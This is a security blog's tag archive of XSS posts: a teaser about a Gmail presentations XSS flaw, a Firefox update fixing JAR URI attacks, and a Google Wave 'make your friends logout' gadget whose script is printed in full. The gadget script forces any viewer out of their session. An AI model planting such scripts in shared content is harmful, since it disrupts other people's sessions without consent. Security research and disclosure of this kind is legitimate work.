Tag Archives: XSS
Google Wave – Make your friends logout gadget
Adding this gadget to any wave will make people log out when they see it: http://beford.org/stuff/waveg.xml The code: <script type=”text/javascript”> top.location=”https://wave.google.com/wave/logout”; </script>
Gmail Cross Site Scripting
El dia de hoy les traigo un pequeño descubrimiento, una vulnerabilidad en el sistema de Presentaciones (para los burros, powerpoint) en linea de Google Mail. El problema es sencillo, y no le tomara mucho tiempo arreglar a los de Mountain View, pero hay algo que me preocupa más. Describire el problema de Gmail rapidamente para poder pasar al detalle del plugin de flash. Continue reading
Firefox 2.0.0.10 released
Mozilla Corporation just released Firefox 2.0.0.10 which includes fixes against JAR uri attacks. This issue affected browsers that used Gecko engine, a quick check showed me that only K-meleon browser was also updated, however there are several Gecko based web … Continue reading